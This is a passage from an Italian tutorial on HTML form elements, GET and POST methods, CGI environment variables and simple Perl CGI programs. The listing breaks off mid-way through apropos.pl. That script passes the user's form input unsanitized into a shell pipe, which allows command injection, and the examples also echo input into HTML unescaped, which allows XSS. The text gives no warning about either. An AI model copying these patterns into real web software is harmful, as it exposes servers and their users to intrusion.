Tutti gli elementi che permettono l'input hanno in comune l'attributo '**`NAME`**' che è obbligatorio. Le sezioni seguenti mostrano alcuni degli elementi utilizzabili in un formulario.

46.4.6.1 INPUT generico

«

Si tratta di un elemento che consente l'inserimento di testo normale su una sola riga. Questo elemento non richiede l'indicazione del tipo, attraverso l'attributo '**`TYPE`**'.

Attributo	Descrizione
`size="`***n***`"`	Permette di definire la dimensione in caratteri del campo che si vuole visualizzare.
`maxlength="`***n***`"`	Permette di stabilire un limite massimo alla dimensione, in caratteri, del testo che si può immettere.
`value="`***x***`"`	Permette di definire un valore predefinito che appaia già all'interno del campo.

L'esempio seguente visualizza un campo di 20 caratteri all'interno del quale l'utente deve scrivere il nome di un colore. Nel campo appare già la scritta '**`giallo`**' che può essere modificata o cancellata a piacimento.

```
Inserisci il colore: <INPUT NAME="colore" SIZE="20" VALUE="giallo">
```

46.4.6.2 INPUT type="password"

«

Si tratta di un elemento che consente la scrittura di testo normale nascondendone l'inserimento, come avviene di solito quando si introducono le parole d'ordine. Dal momento che, a parte l'oscuramento dell'input, il funzionamento è uguale a quello dei campi di input normali, si possono utilizzare anche gli stessi tipi di attributi. L'esempio seguente visualizza un campo di 20 caratteri all'interno del quale l'utente deve inserire la parola d'ordine richiesta.

```
Inserisci la password: <INPUT TYPE="password" NAME="password-utente" SIZE="20">
```

46.4.6.3 INPUT type="checkbox"

«

Si tratta di un elemento che visualizza una casellina da barrare (casella di spunta). Queste caselline appaiono senza selezione in modo predefinito, a meno che venga utilizzato l'attributo '**`CHECKED`**'. Se la casellina risulta selezionata, viene generata la coppia '***nome*`=`*valore***' corrispondente, altrimenti no.

Attributo	Descrizione
`value="`***x***`"`	Permette di definire un valore (o una stringa) da restituire nel caso in cui la casellina sia selezionata. Questo attributo è essenziale.
`checked="checked"`	Questo attributo vale in quanto presente o meno, assegnandovi l'unico valore possibile che corrisponde al nome dell'attributo stesso. Se viene inserito nell'elemento, la casellina risulta inizialmente selezionata.

L'esempio seguente visualizza una casellina già barrata inizialmente. Se viene lasciata così, selezionata, questo elemento genera la coppia '**`propaganda=SI`**'.

```
Barrare la casella se si desidera ricevere propaganda:
<INPUT TYPE="checkbox" NAME="propaganda" VALUE="SI" CHECKED="checked">
```

46.4.6.4 INPUT type="radio"

Si tratta di un elemento che permette la selezione esclusiva di un pulsante all'interno di un gruppo. In pratica, selezionandone uno, si deselezionano gli altri. Rispetto agli elementi visti in precedenza, questo richiede la presenza di più elementi dello stesso tipo, altrimenti non ci sarebbe da scegliere. Il collegamento che stabilisce che i pulsanti appartengono allo stesso gruppo viene definito dal nome che rimane uguale.

Attributo	Descrizione
`value="`*x*`"`	Permette di definire un valore (o una stringa) da restituire nel caso in cui il bottone risulti selezionato. Questo attributo è essenziale.
`checked="checked"`	Questo attributo vale in quanto presente o meno, assegnandovi l'unico valore possibile che corrisponde al nome dell'attributo stesso. Se viene inserito nell'elemento, il bottone risulta inizialmente selezionato.

L'esempio seguente visualizza tre pulsanti, di cui il primo già selezionato, per la scelta di un tipo di contenitore. I tre bottoni sono collegati insieme perché hanno lo stesso valore associato all'attributo '**`NAME`**'.

```
Selezionare il contenitore dell'elaboratore:
<INPUT TYPE="radio" NAME="contenitore" VALUE="orizzontale" CHECKED="checked">
<INPUT TYPE="radio" NAME="contenitore" VALUE="torre">
<INPUT TYPE="radio" NAME="contenitore" VALUE="minitorre">
```

46.4.6.5 INPUT type="submit"

Questo tipo di elemento visualizza un tasto contenente un'etichetta; selezionandolo si ottiene l'invio dei dati contenuti nel formulario in cui si trova. L'etichetta che appare sul pulsante in modo predefinito dipende dal cliente e potrebbe trattarsi di '**`Submit`**' o qualcosa del genere.

Questo elemento è diverso dagli altri in quanto non è previsto l'uso dell'attributo '**`NAME`**'. Infatti non viene generato alcun dato da questo, ma solo l'invio dei dati contenuti nell'elemento '**`FORM`**'.

Attributo	Descrizione
`src="`*uri*`"`	Permette di indicare l'URI di un'immagine da utilizzare come pulsante.
`value="`*x*`"`	Permette di indicare un'etichetta alternativa a quella che verrebbe messa automaticamente dal programma cliente.

L'esempio seguente visualizza un tasto sul quale appare la scritta '**`Invia la richiesta`**'. Selezionandolo viene inviato il contenuto del formulario.

```
<INPUT TYPE="submit" VALUE="Invia la richiesta">
```

46.4.6.6 INPUT type="image"

Si tratta di una sorta di tasto di invio (*submit*) che in più aggiunge le coordinate in cui si trova il puntatore nel momento del clic. In un certo senso assomiglia anche agli elementi con l'attributo '**`ISMAP`**' descritto prima di affrontare gli elementi '**`FORM`**'.

Attributo	Descrizione
`src="`***uri***`"`	Permette di indicare l'URI dell'immagine da utilizzare come base. Questo attributo è obbligatorio data la natura dell'elemento.

L'esempio seguente visualizza l'immagine '`immagine.jpg`' e se viene fatto un clic con il puntatore del mouse sulla sua superficie, vengono inviati i dati del formulario, assieme anche alle coordinate relative all'immagine.

```
<INPUT TYPE="image" NAME="immagine" SRC="/immagine.jpg">
```

46.4.6.7 INPUT type="hidden"

Questo tipo di elemento, a prima vista, non ha alcun senso: permette di inserire dei campi nascosti, cosa che serve a generare una coppia '***nome*=*valore***' fissa.

È già stato chiarito che il protocollo HTTP non ha alcun controllo sullo stato delle transazioni, o meglio, ogni richiesta si conclude con una risposta. In questo modo, è compito del programma CGI mantenere il filo delle operazioni che si stanno svolgendo. Una delle tecniche con cui è possibile ottenere questo risultato è quella di restituire un formulario contenente le informazioni già inserite nelle fasi precedenti.

Ci sono anche altre situazioni in cui i dati nascosti e predefiniti sono utili, ma per il momento è sufficiente tenere a mente che esiste la possibilità.

Attributo	Descrizione
`value="`***x***`"`	Definisce il valore o la stringa nascosti. Tale argomento è obbligatorio per questo tipo di elemento.

L'esempio seguente fa in modo che il formulario contenga anche la coppia '**`nominativo=Tizio`**' che altrimenti, si suppone, renderebbe inutilizzabili gli altri dati inseriti dall'utente.

```
<INPUT TYPE="hidden" NAME="nominativo" VALUE="Tizio">
```

46.4.6.8 Elemento «TEXTAREA»

Questo elemento permette all'utente di inserire un testo su più righe. L'interruzione di riga, in questo caso, è fatta utilizzando la sequenza *<CR><LF>*. Questo particolare va tenuto presente in fase di programmazione, dal momento che gli ambienti Unix (in particolare i sistemi GNU) utilizzano l'interruzione di riga rappresentata con il solo carattere *<LF>*.

Attributo	Descrizione
`rows="`***n***`"`	Stabilisce il numero di righe dell'area di inserimento.

Attributo	Descrizione
`cols="`***n***`"`	Stabilisce il numero di colonne dell'area di inserimento.

L'esempio seguente visualizza un'area per l'inserimento di testo su più righe. L'area visibile ha la dimensione di sette righe per 40 colonne e contiene già il testo '**`CIAO!`**' che può essere modificato o sostituito con qualcos'altro.

```
<TEXTAREA NAME="messaggio" ROWS="7" COLS="40" >
CIAO!
</TEXTAREA>
```

46.4.6.9 Elementi «SELECT» e «OPTION»

L'elemento '**`SELECT`**' delimita un ambiente attraverso cui si definiscono diverse scelte possibili, che normalmente appaiono in forma di menù a scomparsa. Per questo, oltre a '**`SELECT`**' si devono utilizzare degli elementi '**`OPTION`**' con cui si indicano tali scelte possibili. Va tenuto in considerazione che l'attributo '**`NAME`**' viene indicato nell'elemento '**`SELECT`**' (nel marcatore di apertura).

Attributo di SELECT	Descrizione
`multiple="multiple"`	Questo attributo vale in quanto presente o meno, assegnandovi l'unico valore possibile che corrisponde al nome dell'attributo stesso. Se presente, indica che sono ammissibili selezioni multiple, altrimenti è consentita la scelta di una sola voce.

Attributo di OPTION	Descrizione
`value="`***x***`"`	Definisce il valore (numero o stringa) da abbinare alla scelta eventuale. La stringa che appare all'utente è quella che segue il marcatore '**`OPTION`**' di apertura; se mancasse l'attributo '**`VALUE`**', sarebbe quella stessa stringa a essere restituita in abbinamento al nome definito nel marcatore '**`SELECT`**'.
`selected="selected"`	La presenza di questo attributo, a cui si assegna lo stesso nome dell'attributo, definisce una selezione predefinita.

L'esempio seguente presenta un menù di scelta a scomparsa per la selezione di un colore che poi viene convertito in un codice numerico corrispondente. Il nero, corrispondente allo zero, risulta predefinito.

```
<SELECT NAME="codice-colori">
    <OPTION VALUE="0" SELECTED="selected">Nero
    <OPTION VALUE="1">Marrone
    <OPTION VALUE="2">Rosso
    <OPTION VALUE="3">Arancio
    <OPTION VALUE="4">Giallo
    <OPTION VALUE="5">Verde
    <OPTION VALUE="6">Blu
    <OPTION VALUE="7">Viola
    <OPTION VALUE="8">Grigio
    <OPTION VALUE="9">Bianco
</SELECT>
```

46.4.7 Metodi e variabili

Esistono differenze nel modo con cui i programmi CGI ricevono le informazioni dal servente. Il modo fondamentale attraverso cui ciò viene controllato dal programma cliente è la scelta del ***metodo*** della richiesta: '**`GET`**' o '**`POST`**'. Fino a questo punto sono stati visti esempi che utilizzano esclusivamente il metodo '**`GET`**'.

Quando un programma cliente invia una richiesta utilizzando il metodo '**`GET`**' appende all'URI tutte le informazioni aggiuntive necessarie. In pratica, l'URI stesso comprende l'informazione. Per convenzione, la richiesta è distinta dalla parte dell'URI che identifica la risorsa attraverso un punto interrogativo, come nell'esempio seguente, dove la parola '**`ciao`**' è l'informazione aggiuntiva che rappresenta l'input per il programma '**`cgi-test.sh`**':

`http://www.brot.dg/cgi-bin/cgi-test.sh?ciao`

Il programma CGI riceve la «richiesta», inviata attraverso il metodo '**`GET`**', nella variabile di ambiente '**`QUERY_STRING`**'.

```
http://www.brot.dg/cgi-bin/cgi-test.sh?nome=Pinco&cognome=Pallino&sesso=M
```

L'URI mostrato sopra rappresenta una richiesta proveniente (presumibilmente) da un formulario HTML, per la presenza dei simboli di assegnamento. Come si può osservare, ogni coppia '***nome*`=`*valore***' è collegata alla successiva attraverso il simbolo e-commerciale ('**`&`**'). Il metodo '**`GET`**', in quanto aggiunge all'URI la stringa di richiesta, permette all'utente di controllare e di memorizzare il flusso di dati, per esempio attraverso un segnalibro (*bookmark*). In pratica, con la semplice memorizzazione dell'URI, l'utente può riprendere un'operazione di inserimento di dati, senza dover ricominciare tutto dall'inizio. Lo svantaggio nell'utilizzo di tale metodo sta nel fatto che esiste un limite alla dimensione degli URI e di conseguenza anche alla quantità di dati che gli si possono accodare.

Il metodo '**`POST`**' è stato progettato per porre rimedio ai limiti dell'altro metodo. Con questo, i dati dei formulari HTML vengono inviati in modo separato dall'URI, mentre il programma CGI li riceve dal programma servente attraverso lo standard input (invece che dalla variabile di ambiente ***QUERY_STRING***). Sotto questo aspetto, il metodo '**`POST`**' è generalmente preferibile.[4]

Le informazioni recepite da un programma CGI non si limitano alla «richiesta», giunta attraverso la variabile ***QUERY_STRING*** oppure dallo standard input: altre variabili di ambiente sono importanti per completare il contesto di lavoro.

Tabella 46.75. Variabili di ambiente contenenti informazioni sul servente.

Variabile	Descrizione
`SERVER_SOFTWARE`	Il nome e la versione del software utilizzato come servente.
`SERVER_NAME`	Il nome del servente.
`SERVER_PROTOCOL`	Il nome e la versione del protocollo utilizzato dal servente.
`SERVER_PORT`	Il numero della porta di comunicazione utilizzata dal servente.
`GATEWAY_INTERFACE`	Letteralmente, è l'interfaccia *gateway*, ovvero la versione del protocollo CGI utilizzato dal servente.
`PATH_INFO`	Quando l'URI contiene l'indicazione di un percorso aggiuntivo, questa variabile riceve quel percorso.
`PATH_TRANSLATED`	Questa variabile viene utilizzata assieme a ***PATH_INFO***, per indicare il percorso reale nel file system che ospita il servente.
`SCRIPT_NAME`	La parte dell'URI che identifica il percorso del programma CGI utilizzato.

Tabella 46.76. Variabili di ambiente contenenti informazioni sulla connessione cliente-servente.

Variabile	Descrizione
`REQUEST_METHOD`	Il metodo della richiesta ('**`GET`**', '**`POST`**').
`REMOTE_HOST`	Il nome del cliente. Se il nome non è disponibile, si deve fare uso della variabile ***REMOTE_ADDR*** che contiene l'indirizzo IP.
`REMOTE_ADDR`	Indirizzo IP del cliente.
`AUTH_TYPE`	Contiene l'eventuale metodo di autenticazione.
`REMOTE_USER`	Il nome dell'utente se si utilizza l'autenticazione.

Tabella 46.77. Variabili di ambiente contenenti informazioni passate dal cliente al servente.

Variabile	Descrizione
`QUERY_STRING`	Contiene la stringa di richiesta se si utilizza il metodo '**`GET`**'.
`CONTENT_LENGTH`	Contiene la dimensione in byte (ottetti) dei dati ricevuti dal cliente. Questa informazione è disponibile solo se si utilizza il metodo '**`POST`**'.
`CONTENT_TYPE`	Contiene la definizione del tipo di codifica dei dati ricevuti dal cliente e riguarda solo il metodo '**`POST`**'. La codifica più comune è '**`application/x-www-form-urlencoded`**' e significa che i dati sono stati codificati secondo lo standard utilizzato per il metodo '**`GET`**': gli spazi sono convertiti in '**`+`**' e tutti i simboli speciali secondo la forma '**`%`*hh***', dove ***hh*** sono due cifre esadecimali.

Quando il cliente invia una richiesta al servente, prepara un'intestazione all'interno della quale

possono essere inseriti diversi campi. Il contenuto di questi campi viene tradotto in altrettante variabili di ambiente il cui nome inizia per '**HTTP_**' seguito dal nome del campo stesso. In particolare, i caratteri minuscoli sono convertiti in maiuscoli e i trattini normali sono sostituiti dal trattino basso. Segue la descrizione di alcune di queste variabili.

Informazioni addizionali dal cliente.

Variabile	Descrizione
HTTP_ACCEPT	Equivale al campo '**Accept**'.
HTTP_USER_AGENT	Equivale al campo '**User-Agent**'.

46.4.7.1 Un po' di pratica

Prima di iniziare a pensare a dei programmi CGI concludenti, conviene verificare quanto scritto attraverso i programmi di analisi mostrati in precedenza: '**cgi-test.sh**' oppure '**cgi-test.pl**'. Negli esempi viene mostrato sempre il primo dei due, anche se il migliore per queste cose sarebbe il secondo.

Si può realizzare una pagina HTML contenente dei formulari, come nell'esempio seguente.[5]

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
        "http://www.w3.org/TR/html4/strict.dtd">
<!-- form-test.html -->
<HTML>
<HEAD>
        <TITLE>Verifica del funzionamento dei FORM</TITLE>
</HEAD>
<BODY>

    <H2>Test di vari tipi di elementi di un modulo FORM - metodo GET</H2>

    <FORM ACTION="/cgi-bin/cgi-test.sh" METHOD="GET">

        <P><INPUT TYPE="hidden" NAME="nominativo" VALUE="Tizio">

        Inserisci il colore:
            <INPUT NAME="colore" SIZE="20" VALUE="giallo">
        Inserisci la parola d'ordine:
            <INPUT TYPE="password" NAME="password-utente" SIZE="20">

        <P>Barrare la casella se si desidera ricevere propaganda:
            <INPUT TYPE="checkbox" NAME="propaganda" VALUE="SI"
                CHECKED="checked">

        <P>Selezionare il contenitore dell'elaboratore:
            orizzontale <INPUT TYPE="radio" NAME="case"
                VALUE="desktop" CHECKED="checked">
            verticale <INPUT TYPE="radio" NAME="case"
                VALUE="tower">
```

```
        verticale ridotto<INPUT TYPE="radio" NAME="case"
            VALUE="minitower">

    <P>Scrivi qui due righe.
        <TEXTAREA NAME="messaggio" ROWS="3" COLS="40"></TEXTAREA>

    <P>Selezionare il codice attraverso il colore:
        <SELECT NAME="codice-colori">
            <OPTION VALUE="0" SELECTED="selected">Nero
            <OPTION VALUE="1">Marrone
            <OPTION VALUE="2">Rosso
            <OPTION VALUE="3">Arancio
            <OPTION VALUE="4">Giallo
            <OPTION VALUE="5">Verde
            <OPTION VALUE="6">Blu
            <OPTION VALUE="7">Viola
            <OPTION VALUE="8">Grigio
            <OPTION VALUE="9">Bianco
        </SELECT>

    <INPUT TYPE="image" NAME="immagine" SRC="/test.jpg">

    <INPUT TYPE="submit" VALUE="Invia la richiesta con il metodo GET">

</FORM>

<HR>

<H2>Test di vari tipi di elementi di un modulo FORM - metodo POST</H2>

<FORM ACTION="/cgi-bin/cgi-test.sh" METHOD="POST">

    <P><INPUT TYPE="hidden" NAME="nominativo" VALUE="Tizio">

    Inserisci il colore:
        <INPUT NAME="colore" SIZE="20" VALUE="giallo">
    Inserisci la parola d'ordine:
        <INPUT TYPE="password" NAME="password-utente" SIZE="20">

    <P>Barrare la casella se si desidera ricevere propaganda:
        <INPUT TYPE="checkbox" NAME="propaganda" VALUE="SI"
            CHECKED="checked">

    <P>Selezionare il contenitore dell'elaboratore:
        orizzontale <INPUT TYPE="radio" NAME="case"
            VALUE="desktop" CHECKED="checked">
        verticale <INPUT TYPE="radio" NAME="case"
            VALUE="tower">
        verticale ridotto<INPUT TYPE="radio" NAME="case"
            VALUE="minitower">
```

```
        <P>Scrivi qui due righe.
            <TEXTAREA NAME="messaggio" ROWS="3" COLS="40"></TEXTAREA></P>

        <P>Selezionare il codice attraverso il colore:
            <SELECT NAME="codice-colori">
                <OPTION VALUE="0" SELECTED="selected">Nero
                <OPTION VALUE="1">Marrone
                <OPTION VALUE="2">Rosso
                <OPTION VALUE="3">Arancio
                <OPTION VALUE="4">Giallo
                <OPTION VALUE="5">Verde
                <OPTION VALUE="6">Blu
                <OPTION VALUE="7">Viola
                <OPTION VALUE="8">Grigio
                <OPTION VALUE="9">Bianco
            </SELECT>

        <INPUT TYPE="image" NAME="immagine" SRC="/test.jpg">

        <INPUT TYPE="submit" VALUE="Invia la richiesta con il metodo POST">

    </FORM>

</BODY>
</HTML>
```

Come si può vedere sono presenti due elementi '**FORM**' indipendenti: il primo utilizza il metodo '**GET**', il secondo invece il metodo '**POST**'. Entrambi gli elementi '**FORM**' richiamano il programma CGI '`/cgi-bin/cgi-test.sh`'.

Figura 46.80. Richiamando il file HTML dell'esempio, '`form-test.html`', con un programma cliente, si ottiene un formulario simile a quello di questa figura. Qui viene mostrata solo la prima parte, perché ciò che resta è la ripetizione dello stesso formulario utilizzando il metodo '**`POST`**'.

Si può già provare così, anche senza modificare alcunché. Se si invia la richiesta attraverso il formulario che utilizza il metodo '**`GET`**', si può osservare che la richiesta va a fare parte dell'URI del programma CGI; di conseguenza viene inserita nella variabile ***QUERY_STRING***. Altrimenti, con il metodo '**`POST`**' la richiesta si ottiene solo dallo standard input. In entrambi i casi, dovrebbe risultare codificata nello stesso modo (codifica URI).

```
nominativo=Tizio&colore=giallo&password-utente=&propaganda=SI&↵
↪case=desktop&messaggio=&codice-colori=0
```

Si può osservare in particolare la presenza della coppia '**`nominativo=Tizio`**', inserita a titolo di esempio come campo nascosto e costante. Se invece di inviare il formulario attraverso la selezione del pulsante ('**`submit`**') si utilizza l'immagine, si ottiene una stringa simile a quella seguente:

```
nominativo=Tizio&colore=giallo&password-utente=&propaganda=SI&↵
↪case=desktop&messaggio=&codice-colori=0&immagine.x=60&immagine.y=28
```

A questo punto, il lettore dovrebbe provare per conto proprio a compilare i campi, a modificare le selezioni, in modo da prendere dimestichezza con l'effetto generato dagli elementi '**`FORM`**'.

46.5 Programmazione CGI

Si introduce qui la programmazione per la realizzazione di programmi CGI in Perl. Il primo problema che si incontra quando si realizzano programmi del genere è l'analisi delle stringhe di richiesta, per arrivare alla loro scomposizione in modo da poterne gestire i dati. Per questo si utilizzano frequentemente librerie già pronte e ben collaudate, ma qui si vuole mostrare come lavorare partendo da zero.

Va osservato che negli esempi si usano prevalentemente delle richieste attraverso formulari HTML che utilizzano il metodo '**POST**'. Un buon programma CGI, tuttavia, dovrebbe essere in grado di gestire, indifferentemente, richieste fatte con i metodi '**GET**' e '**POST**'. Pertanto, queste spiegazioni non esauriscono l'argomento della programmazione CGI, ma affrontano solo alcuni dei suoi problemi.

Per una programmazione CGI efficace è consigliabile lo studio del linguaggio PHP (⟨*http://www.php.net*⟩).

46.5.1 Problemi

Prima di iniziare a realizzare programmi CGI, occorre fare mente locale alla situazione in cui si trova il programma, specialmente per la verifica del funzionamento dello stesso. Il programma viene eseguito attraverso una forma di intermediazione: è il servente HTTP a metterlo in funzione ed è sempre il servente a ricevere l'output che poi viene restituito al programma cliente.

In questa situazione, lo standard error del programma viene perduto, assieme alle eventuali segnalazioni di errore di qualunque tipo.

Prima di provare il funzionamento di un programma del genere, per quanto banale sia, occorre averlo analizzato sintatticamente attraverso gli strumenti che mette a disposizione il compilatore o l'interprete. L'utilizzo di Perl come linguaggio di programmazione, non richiedendo una fase di compilazione, tende a fare dimenticare che è necessaria un'analisi sintattica. Se non si verifica il programma, magari solo per un punto e virgola fuori posto, ci si trova di fronte al solito messaggio: «500 Errore interno del servente».

Nello stesso modo, sarebbe bene che il programma che si realizza sia in grado di funzionare in qualche modo anche al di fuori dell'ambiente creato dal servente HTTP.

È il caso di ricordare che il controllo sintattico di un programma Perl si ottiene nel modo seguente:

```
perl -c programma_perl
```

oppure ancora meglio con:

```
perl -c -w programma_perl
```

46.5.2 Decodifica

Si è accennato al fatto che un programma CGI non può fare a meno di occuparsi della decodifica delle stringhe di richiesta. Questo problema si scompone almeno nelle fasi seguenti:

- la suddivisione delle coppie '***nome*=*valore***';
- la separazione delle coppie;
- la decodifica URI.

I dati provenienti da un formulario HTML sono uniti assieme attraverso l'uso del simbolo e-commerciale ('**&**'). Per suddividerli si può creare un array dei vari elementi utilizzando la funzione '**split**'

```
@coppia = split ('&', $richiesta);
```

Le coppie '***nome*=*valore***' sono stringhe unite assieme attraverso il simbolo di assegnamento ('**=**'). La suddivisione avviene agevolmente attraverso la scomposizione in un array di due soli elementi. Solitamente si utilizza la scorciatoia seguente:

```
($nome, $valore) = split ('=', $coppia[$i]);
```

In pratica, si scompone il contenuto di un elemento dell'array '**@coppia**', visto nella sezione precedente.

La decodifica URI si scompone di due fasi:

- sostituzione del simbolo '**+**' con lo spazio;
- sostituzione dei codici '**%*hh***' con il carattere corrispondente.

```
$valore   =~ tr/+/ /;

$nome   =~ s/%([A-Fa-f0-9][A-Fa-f0-9])/pack('c',hex($1))/ge;
$valore =~ s/%([A-Fa-f0-9][A-Fa-f0-9])/pack('c',hex($1))/ge;
```

Quello che segue è un esempio molto semplificato di due subroutine in grado, rispettivamente, di estrapolare le informazioni da una richiesta in modalità '**GET**' e in modalità '**POST**'. Le due subroutine restituiscono un hash (l'array associativo di Perl) corrispondente alle coppie di dati.

```
##
## mini-lib.pl
## Routine Perl utilizzabili da un programma CGI.
##
#
# &Decodifica_GET ()
# Decodifica il contenuto della variabile $QUERY_STRING e lo
# restituisce in un hash.
#
sub Decodifica_GET
{
    local ($richiesta) = $ENV{'QUERY_STRING'};
```

```
    #
    local (@coppia)    = ();
    local ($elemento)  = "";
    local ($nome)      = "";
    local ($valore)    = "";
    local (%DATI)      = ();
    #
    # Suddivide la richiesta in un array di coppie «nome=valore».
    #
    @coppia = split ('&', $richiesta);
    #
    # Elabora ogni coppia contenuta nell'array.
    #
    foreach $elemento (@coppia)
      {
        #
        # Scompone la coppia.
        #
        ($nome, $valore) = split ('=', $elemento);
        #
        # Trasforma «+» in spazio.
        #
        $valore =~ tr/+/ /;
        #
        # Trasforma «%hh» nel carattere corrispondente.
        #
        $nome   =~ s/%([A-Fa-f0-9][A-Fa-f0-9])/pack('c',hex($1))/ge;
        $valore =~ s/%([A-Fa-f0-9][A-Fa-f0-9])/pack('c',hex($1))/ge;
        #
        # Aggiunge la coppia decodificata in un hash.
        #
        $DATI{$nome} = $valore;
      }
    #
    # Restituisce l'hash delle coppie ( nome => valore ).
    #
    return (%DATI);
}
#
# &Decodifica_POST ()
# Decodifica quanto proveniente dallo standard input e lo
# restituisce in un hash.
#
sub Decodifica_POST
{
    local ($richiesta) = "";
    #
    local (@coppia)    = ();
    local ($elemento)  = "";
    local ($nome)      = "";
    local ($valore)    = "";
    local (%DATI)      = ();
    #
```

```
    # Legge lo standard input.
    #
    read (STDIN, $richiesta, $ENV{CONTENT_LENGTH});
    #
    # Suddivide la richiesta in un array di coppie «nome=valore».
    #
    @coppia = split ('&', $richiesta);
    #
    # Elabora ogni coppia contenuta nell'array.
    #
    foreach $elemento (@coppia)
      {
        #
        # Scompone la coppia.
        #
        ($nome, $valore) = split ('=', $elemento);
        #
        # Trasforma «+» in spazio.
        #
        $valore =~ tr/+/ /;
        #
        # Trasforma «%hh» nel carattere corrispondente.
        #
        $nome   =~ s/%([A-Fa-f0-9][A-Fa-f0-9])/pack('c',hex($1))/ge;
        $valore =~ s/%([A-Fa-f0-9][A-Fa-f0-9])/pack('c',hex($1))/ge;
        #
        # Aggiunge la coppia decodificata in un hash.
        #
        $DATI{$nome} = $valore;
      }
    #
    # Restituisce l'hash delle coppie ( nome => valore ).
    #
    return (%DATI);
}
#
# Trattandosi di una libreria, l'ultima riga deve restituire un
# valore equiparabile a TRUE.
#
1;
#
```

Un programma banale che potrebbe fare uso di questa libreria, è il seguente. Si occupa solo di restituire i dati ottenuti dall'hash contenente le coppie '***nome=>valore***'.

```
#!/usr/bin/perl
##
## form.pl
##
#
require ('mini-lib.pl');
#
print STDOUT ("Content-type: text/html\n");
```

```
print STDOUT ("\n");
print STDOUT ("<HTML>\n");
print STDOUT ("<HEAD>\n");
print STDOUT ("<TITLE>Metodo $ENV{REQUEST_METHOD}</TITLE>\n");
print STDOUT ("</HEAD>\n");
print STDOUT ("<BODY>\n");
print STDOUT ("<H1>Metodo $ENV{REQUEST_METHOD}</H1>\n");
print STDOUT ("<PRE>\n");
#
if ($ENV{REQUEST_METHOD} eq 'GET')
  {
    %DATI = &Decodifica_GET;
  }
elsif ($ENV{REQUEST_METHOD} eq 'POST')
  {
    %DATI = &Decodifica_POST;
  }
else
  {
    print STDOUT ("Il metodo della richiesta non è gestibile.\n");
  }
#
@nomi = keys (%DATI);
foreach $nome (@nomi)
  {
    print STDOUT ("$nome = $DATI{$nome}\n");
  }
#
print STDOUT ("</PRE>\n");
print STDOUT ("</BODY>\n");
print STDOUT ("</HTML>\n");
#
```

Il programma '**`form.pl`**', appena mostrato, incorpora inizialmente la libreria presentata prima, '**`mini-lib.pl`**', quindi, a seconda del metodo utilizzato per la richiesta, chiama la subroutine adatta. Al termine, restituisce semplicemente l'elenco dei dati ottenuti.

46.5.3 Esempi elementari di applicazioni CGI

Nelle sezioni seguenti si mostrano alcuni esempi elementari di applicazioni CGI. Si tratta dell'accesso pubblico alla documentazione interna di un sistema operativo Unix comune, attraverso '**`apropos`**', '**`whatis`**' e '**`man`**'.

Per questi tre tipi di interrogazioni si prepara un solo file HTML di partenza, contenente tre elementi '**`FORM`**' distinti, ognuno dei quali invia una richiesta a un diverso programma CGI specializzato.

46.5.3.1 File «manuali.html»

Segue il sorgente del file '`manuali.html`' contenente i tre elementi '**`FORM`**' necessari per richiamare i programmi CGI in grado di fornire documentazione interna.

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<!-- manuali.html -->
<HTML>
<HEAD>
        <TITLE>Manualistica</TITLE>
</HEAD>
<BODY>
<H1>Manualistica</H1>

    <FORM ACTION="/cgi-bin/apropos.pl" METHOD="GET">

        <P>apropos <INPUT NAME="apropos" SIZE="30">
        <INPUT TYPE="submit" VALUE="Invio">

    </FORM>

    <FORM ACTION="/cgi-bin/whatis.pl" METHOD="GET">

        <P>whatis <INPUT NAME="whatis" SIZE="30">
            <INPUT TYPE="submit" VALUE="Invio">

    </FORM>

    <FORM ACTION="/cgi-bin/man.pl" METHOD="GET">

        <P>man 
            <SELECT NAME="sezione">
                <OPTION VALUE="" SELECTED="selected">predefinito
                <OPTION VALUE="1">comandi utente
                <OPTION VALUE="2">chiamate di sistema
                <OPTION VALUE="3">chiamate di libreria
                <OPTION VALUE="4">dispositivi
                <OPTION VALUE="5">formati dei file
                <OPTION VALUE="6">giochi
                <OPTION VALUE="7">varie
                <OPTION VALUE="8">comandi di sistema
                <OPTION VALUE="9">routine del kernel
            </SELECT>
            <INPUT NAME="man" SIZE="30">
            <INPUT TYPE="submit" VALUE="Invio">

    </FORM>

</BODY>
</HTML>
```

Figura 46.89. Il formulario ‘`manuali.html`’.

Ognuno dei tre elementi ‘**`FORM`**’ permette di indicare una stringa da utilizzare per ottenere informazioni. Per ogni elementi ‘**`FORM`**’ c’è un proprio tasto di invio indipendente con il quale si decide implicitamente il tipo di informazione che si vuole avere: *apropos*, *whatis* o *man*. Dei tre tipi di formulario, quello della richiesta per i file delle pagine di manuale è un po’ diverso, dal momento che potrebbe essere necessario indicare la sezione.

46.5.3.2 File «apropos.pl»

Segue il sorgente del programma ‘**`apropos.pl`**’, che si occupa di interrogare il sistema attraverso il comando ‘**`apropos`**’ e di restituire un file HTML con la risposta.

```
#!/usr/bin/perl
##
## apropos.pl
##
#
# Incorpora la libreria di decodifica dei dati.
#
require ('mini-lib.pl');
#
# &Metodo_non_gestibile ()
#
sub Metodo_non_gestibile
{
    print STDOUT ("Content-type: text/html\n");
    print STDOUT ("\n");
    print STDOUT ("<HTML>\n");
    print STDOUT ("<HEAD>\n");
    print STDOUT ("<TITLE>Errore</TITLE>\n");
    print STDOUT ("</HEAD>\n");
    print STDOUT ("<BODY>\n");
    print STDOUT ("<H1>Metodo $ENV{REQUEST_METHOD} non gestibile.</H1>\n");
    print STDOUT ("</BODY>\n");
    print STDOUT ("</HTML>\n");
}
#
# Inizio del programma.
#
local (%DATI)     = ();
```

```
local ($risposta) = "";
#
# Decodifica i dati in funzione del tipo di metodo della richiesta.
#
if ($ENV{REQUEST_METHOD} eq 'GET')
  {
    %DATI = &Decodifica_GET;
  }
elsif ($ENV{REQUEST_METHOD} eq 'POST')
  {
    %DATI = &Decodifica_POST;
  }
else
  {
    &Metodo_non_gestibile;
  }
#
# Rinvia la richiesta a apropos e ne restituisce l'esito.
#
if (open (APROPOS, "apropos $DATI{apropos} |"))
  {
    print STDOUT ("Content-type: text/html\n");
    print STDOUT ("\n");
    print STDOUT ("<HTML>\n");
    print STDOUT ("<HEAD>\n");
    print STDOUT ("<TITLE>apropos $DATI{apropos}</TITLE>\n");
    print STDOUT ("</HEAD>\n");
    print STDOUT ("<BODY>\n");
    print STDOUT ("<H1>apropos $DATI{apropos}</H1>\n");
    print STDOUT ("<PRE>\n");
    #
    while ($risposta = <APROPOS>)
      {
        print $risposta;
      }
    #
    print STDOUT ("</PRE>\n");
    print STDOUT ("</BODY>\n");
    print STDOUT ("</HTML>\n");
  }
else
  {
